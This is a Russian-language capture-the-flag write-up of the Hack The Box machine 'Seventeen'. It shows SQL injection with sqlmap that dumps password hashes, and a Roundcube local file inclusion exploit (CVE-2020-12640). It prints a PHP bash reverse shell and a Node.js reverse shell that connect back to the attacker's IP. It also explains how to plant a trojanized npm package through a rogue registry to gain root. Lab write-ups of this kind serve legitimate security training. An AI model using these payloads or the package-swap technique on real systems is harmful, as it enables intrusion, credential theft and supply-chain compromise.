Хакер - HTB Seventeen. Подменяем пакет NPM для захвата хоста

Хакер - HTB Seventeen. Подменяем пакет NPM для захвата хоста

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Exam Reviewer Management System
  • Точка опоры
  • CVE-2020-12640
  • Продвижение
  • Docker to Host
  • Пользователь Kali
  • Локальное повышение привилегий

В этом рай­тапе я покажу, как соз­дать свой реестр NPM и раз­местить с ним вре­донос­ный пакет для зах­вата уда­лен­ной машины. Но нач­нем мы с SQL-инъ­екции, а затем заюзаем извес­тную RCE для повыше­ния при­виле­гий.

На­ша цель — зах­ват машины Seventeen с тре­ниро­воч­ной пло­щад­ки Hack The Box. Задание оце­нено как слож­ное.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками. 

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.165 seventeen.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Ви­дим три откры­тых пор­та:

  • 22 — служ­ба OpenSSH 7.6p1;
  • 80 — веб‑сер­вер Apache 2.4.29;
  • 8000 — веб‑сер­вер Apache 2.4.38.

Нам дос­тупно сра­зу два веб‑сер­вера, с которых и нач­нем про­бивать периметр.

Глав­ная стра­ница сай­та

Ос­мотрев­шись на сай­те, находим под­твержде­ние тому, что в самом начале выб­рали вер­ное домен­ное имя.

Лен­динг

Боль­ше ничего инте­рес­ного нет, поэто­му перей­дем к активно­му ска­ниро­ванию.

ТОЧКА ВХОДА

Итак, я поп­робую поис­кать скры­тые фай­лы и катало­ги. Делать это я буду при помощи ска­нера ffuf.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -fc — исклю­чить из резуль­тата отве­ты с кодом 403.

ffuf -u 'http://seventeen.htb/FUZZ' -t 256 -w directory_2.3_medium_lowercase.txt

Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

Ска­ниро­вание катало­гов ничего инте­рес­ного не дало. Дру­гих HTML-стра­ниц тоже не наш­лось. Оста­ется прос­каниро­вать под­домены. В этом слу­чае мы будем переби­рать заголо­вок Host в парамет­ре -H. Так как все отве­ты будут вес­ти на основной домен, можем их отфиль­тро­вать по раз­меру стра­ницы в парамет­ре --fs.

ffuf -u 'http://seventeen.htb/' -t 256 -w subdomains-top1million-110000.txt -H 'Host: FUZZ.seventeen.htb' --fs 20689

Ре­зуль­тат ска­ниро­вания под­доменов

На­ходим один под­домен, запись для которо­го добав­ляем в /etc/hosts.

10.10.11.165 seventeen.htb exam.seventeen.htb

Глав­ная стра­ница сай­та exam.seventeen.htb

Exam Reviewer Management System

На сай­те нас встре­чает Exam Reviewer Management System, для которой мы лег­ко находим пуб­личный экс­пло­ит в базе Exploit-DB. Это SQL-инъ­екция.

Опи­сание спо­соба экс­плу­ата­ции

Нам пре­дос­тавля­ют готовую наг­рузку, которой неп­ремен­но сто­ит вос­поль­зовать­ся. Пер­вым делом запус­тим sqlmap.

sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --level 3

Ра­бочая наг­рузка для экс­плу­ата­ции

Sqlmap нашел наг­рузку, теперь получим базы дан­ных (параметр --dbs).

sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --dbs --level 3

Ба­зы дан­ных

От­меча­ем для себя, что на сер­вере исполь­зуют­ся и дру­гие плат­формы, вклю­чая Roundcube. Нач­нем с пер­вой базы, получим таб­лицы (параметр --tables) из базы db_sfms (параметр -D).

sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -D db_sfms --tables

Таб­лицы в базе db_sfms

Да­вай сдам­пим (параметр --dump) таб­лицы user и student (параметр -T). Для быс­тро­ты исполь­зуем десять потоков (параметр --threads).

sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' --threads 10 -D db_sfms -T user --dump

Со­дер­жимое таб­лицы user

sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' --threads 10 -D db_sfms -T student --dump

Со­дер­жимое таб­лицы student

По­лучи­ли мно­го хешей, что не может не радовать. Теперь перей­дем к базе erms_db и по при­выч­ному сце­нарию сна­чала узна­ем таб­лицы.

sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' --threads 10 -D erms_db --tables

Таб­лицы в базе erms_db

Из этой базы тоже сдам­пим поль­зовате­лей.

sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' --threads 10 -D erms_db -T users --dump

Со­дер­жимое таб­лицы user

Кро­ме хешей, мы рас­кры­ваем каталог с ава­тара­ми, а это неиз­вес­тная до дан­ного момен­та дирек­тория на веб‑сер­вере — /oldmanagement! Из Roundcube ничего не получа­ем, поэто­му с помощью онлай­новой базы кря­каем хеши.

Взлом хешей

По­луча­ем один пароль, с которым поп­робу­ем пой­ти на най­ден­ный сайт — School File Management System.

Сайт seventeen.htb:8000/oldmanagement

 

ТОЧКА ОПОРЫ

Пос­ле авто­риза­ции видим заг­ружен­ный файл, который мы, конеч­но же, ска­чаем.

Про­филь поль­зовате­ля Kelly

Нем­ного почитав про эту сис­тему, я узнал о воз­можнос­ти заг­рузить и выпол­нить файл на PHP. Файл будет рас­положен в катало­ге /files/31234/. В качес­тве реверс‑шел­ла заг­ружа­ем прос­той скрипт:

<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.16/4321 0>&1'"); ?>

Спи­сок заг­ружен­ных фай­лов

Об­раща­емся к нашему скрип­ту по сле­дующе­му адре­су:

http://seventeen.htb:8000/oldmanagement/files/31234/reverse.php

И получа­ем ответ, что дос­туп зак­рыт. Заг­рузить скрипт в какой‑нибудь дру­гой каталог, исполь­зуя обход путей, тоже не выш­ло.

Ошиб­ка при обра­щении к реверс‑шел­лу

Вер­немся к ска­чан­ному фай­лу, ведь там может быть какая‑то цен­ная информа­ция. И находим в нем еще один сайт.

Со­дер­жимое ска­чан­ного докумен­та

До­бав­ляем домен в файл /etc/hosts. Так как порт 443 зак­рыт, пой­дем на 8000. Дос­туп к кор­невому катало­гу зап­рещен, зато стра­ница mastermailer сущес­тву­ет, и там нас встре­чает Roundcube.

Па­нель авто­риза­ции

Ни­какие учет­ные дан­ные не под­ходят, тог­да прос­мотрим вер­сию поч­тового кли­ента. Ее возь­мем из фай­ла /CHANGELOG.

Ре­зуль­тат ска­ниро­вания катало­гов

Но­мер вер­сии наш­ли, зна­чит, мож­но искать готовые экс­пло­иты. Для Roundcube Webmail 1.4.2 наш­лась CVE-2020-12640. Это вклю­чение про­изволь­ных локаль­ных фай­лов PHP. А в сочета­нии с тем, что мы можем заг­рузить файл через дру­гую CMS, это даст нам уда­лен­ное выпол­нение кода! 

CVE-2020-12640

На GitHub уда­лось даже най­ти PoC. При этом нам дос­тупен каталог installer.

Стра­ница installer

Нам нуж­но перей­ти к опции Create config и выпол­нить зап­рос на обновле­ние нас­тро­ек, который мы перех­ватыва­ем в Burp Proxy.

Зап­рос на обновле­ние нас­тро­ек

В PoC исполь­зует­ся несущес­тву­ющий параметр _plugins_qwerty, который ука­зыва­ет про­изволь­ный каталог. Я обра­тил вни­мание на то, что рядом с этим катало­гом рас­положен файл PHP с тем же наз­вани­ем. Поэто­му поп­робу­ем прос­каниро­вать катало­ги в дирек­тории, в которые попада­ют заг­ружа­емые фай­лы.

ffuf -u 'http://seventeen.htb:8000/oldmanagement/files/31234/FUZZ' -w directory_2.3_medium_lowercase.txt -t 256

Ре­зуль­тат ска­ниро­вания катало­гов

На­ходим каталог papers, поэто­му заг­рузим реверс‑шелл с наз­вани­ем papers.php. Затем исполь­зуем стро­ку парамет­ров из PoC, заменяя ею ори­гиналь­ный зап­рос.

_step=2&_product_name=Seventeen+Webmail&_plugins_qwerty=../../../../../../../../../var/www/html/oldmanagement/files/31234/papers&submit=UPDATE+CONFIG

Но­вый зап­рос

И на наш лис­тенер (я исполь­зую pwncat-cs) получа­ем бэк­коннект.

Но­вая сес­сия pwncat-cs

ПРОДВИЖЕНИЕ

Docker to Host

По наз­ванию хос­та мож­но понять, что мы попали в докер. Так как на веб‑сер­вере кру­тит­ся нес­коль­ко сис­тем, мы можем получить учет­ные дан­ные. Хотя бы из фай­лов для под­клю­чения к базам дан­ных.

Со­дер­жимое фай­ла dbh.php

По­луча­ем пароль, который нуж­но поп­робовать исполь­зовать для раз­ных служб, к при­меру SSH. Имя поль­зовате­ля узна­ем из фай­ла /etc/passwd.

Сис­темный поль­зователь

Под­клю­чаем­ся по SSH с най­ден­ными учет­ными дан­ными и забира­ем поль­зователь­ский флаг.

Флаг поль­зовате­ля

Пользователь Kali

Те­перь, ког­да мы получи­ли дос­туп к хос­ту, нам необ­ходимо соб­рать информа­цию, поэто­му рас­чехля­ем скрип­ты PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате.

С помощью скрип­та находим вхо­дящие сооб­щения поль­зовате­ля kavi.

Вхо­дящие сооб­щения поль­зовате­ля kavi

Чи­таем и отме­чаем для себя информа­цию о локаль­ном репози­тории пакетов NPM.

Со­дер­жимое вхо­дяще­го сооб­щения

Ес­ли это локаль­ный репози­торий, то про­верим откры­тые пор­ты, нас инте­ресу­ет порт 4873.

Прос­лушива­емые пор­ты

Нуж­ный нам порт открыт, и этот адрес дол­жен быть ука­зан в фай­ле .npmrc.

Со­дер­жимое фай­ла .npmrc

Так как в сооб­щении упо­минал­ся «ста­рый лог­гер», поп­робу­ем най­ти в реес­тре что‑то с этим свя­зан­ное.

npm search log --registry http://127.0.0.1:4873

Най­ден­ные пакеты

Дос­тупен пакет db-logger. Это инте­рес­но, так как если файл работа­ет с базой дан­ных, то он дол­жен содер­жать учет­ные дан­ные.

Ус­тановим пакет из локаль­ного реес­тра.

npm install db-logger --registry http://127.0.0.1:4873

Ус­танов­ка пакета db-logger

А теперь прос­мотрим содер­жимое фай­ла.

Со­дер­жимое фай­ла logger.js

На­ходим еще один пароль, который поз­воля­ет получить новую сес­сию, уже от име­ни поль­зовате­ля kavi. 

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Од­но из пер­вых мест, которые нуж­но про­верить при повыше­нии при­виле­гий, — нас­трой­ки sudoers. Получить их мож­но коман­дой sudo -l.

Нас­трой­ки sudoers

Справка: sudoers

Файл /etc/sudoers в Linux содер­жит спис­ки команд, которые раз­ные груп­пы поль­зовате­лей могут выпол­нять от име­ни адми­нис­тра­тора сис­темы. Мож­но прос­мотреть его как нап­рямую, так и при помощи коман­ды sudo -l.

Уз­наем, что мы можем выпол­нить коман­ду /opt/app/startup.sh без вво­да пароля в при­виле­гиро­ван­ном кон­тек­сте. Запус­тим этот скрипт и пос­мотрим, что про­изой­дет.

За­пуск най­ден­ного скрип­та

По логам мы можем опре­делить, что скрипт про­веря­ет уста­нов­ленные пакеты NPM, а если такого пакета нет, то про­исхо­дит его поиск и уста­нов­ка. Если про­верить каталог /opt/app/ до запус­ка и пос­ле, можем заметить, что там появ­ляет­ся нуж­ный пакет loglevel.

Про­вер­ка катало­га /opt/app/

В этом катало­ге инте­ресен файл index, где находим тре­бова­ние пакета loglevel.

Со­дер­жимое фай­ла /opt/app/index.js

Тут появи­лась идея под­менить loglevel, внед­рив в него реверс‑шелл. Но как я ни пытал­ся локаль­но это сде­лать, ничего не получи­лось. Но есть и дру­гой путь! Дело в том, что менед­жер пакетов NPM всег­да про­веря­ет адрес уда­лен­ного репози­тория в фай­ле .npmrc.

Да­вай ука­жем в качес­тве уда­лен­ного репози­тория свой хост, а потом раз­вернем локаль­ный пос­тавщик пакетов.

echo "registry=http://10.10.14.16:4873/" > ~/.npmrc

Для пос­тавки пакетов будем исполь­зовать ути­литу verdaccio.

sudo npm install -g verdaccio

verdaccio -l 10.10.14.16:4873

За­пуск verdaccio

Прог­рамма запуще­на, отоб­ража­ет логи, поэто­му мы можем перей­ти к сле­дующе­му шагу и соз­дать поль­зовате­ля.

npm adduser --registry http://0.0.0.0:4873/

Соз­дание поль­зовате­ля verdaccio

Те­перь ска­чаем пакет loglevel с GitHub, перей­дем в каталог пакета и поп­робу­ем его опуб­ликовать. Как пра­вило, мы получа­ем на этом эта­пе ошиб­ку.

git clone https://github.com/pimterry/loglevel.git

npm publish --registry http://10.10.14.16:4873/

Пуб­ликация пакета loglevel

Для решения этой проб­лемы нам нуж­но прос­то убрать пакет с пуб­ликации и опуб­ликовать заново.

npm unpublish --registry http://10.10.14.16:4873/ --force

Уда­ление опуб­ликован­ного пакета

Пе­ред пов­торной пуб­ликаци­ей давай запишем реверс‑шелл на Node.js в основные фай­лы loglevel: ./lib/loglevel.js и ./dist/loglevel.js.

(function(){

var net = require("net"),

cp = require("child_process"),

sh = cp.spawn("bash", []);

var client = new net.Socket();

client.connect(4321, "10.10.14.16", function(){

client.pipe(sh.stdin);

sh.stdout.pipe(client);

sh.stderr.pipe(client);

});

return /a/; // Prevents the Node.js application from crashing

})();

А теперь пуб­лику­ем пакет заново. Пос­ле пуб­ликации мы можем перей­ти по ука­зан­ному адре­су и про­верить опуб­ликован­ные пакеты.

npm publish --registry http://10.10.14.16:4873/

Пуб­ликация пакета loglevel
Опуб­ликован­ные пакеты

Те­перь вер­немся на уда­лен­ный хост и сно­ва выпол­ним коман­ду sudo /opt/app/startup.sh. В логах verdaccio обна­ружим обра­щение к пакетам loglevel и mysql, а затем в окне лис­тенера получим бэк­коннект.

Ло­ги сер­вера verdaccio
Флаг рута

У нас есть рутовый шелл, а зна­чит, машина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei




Report Page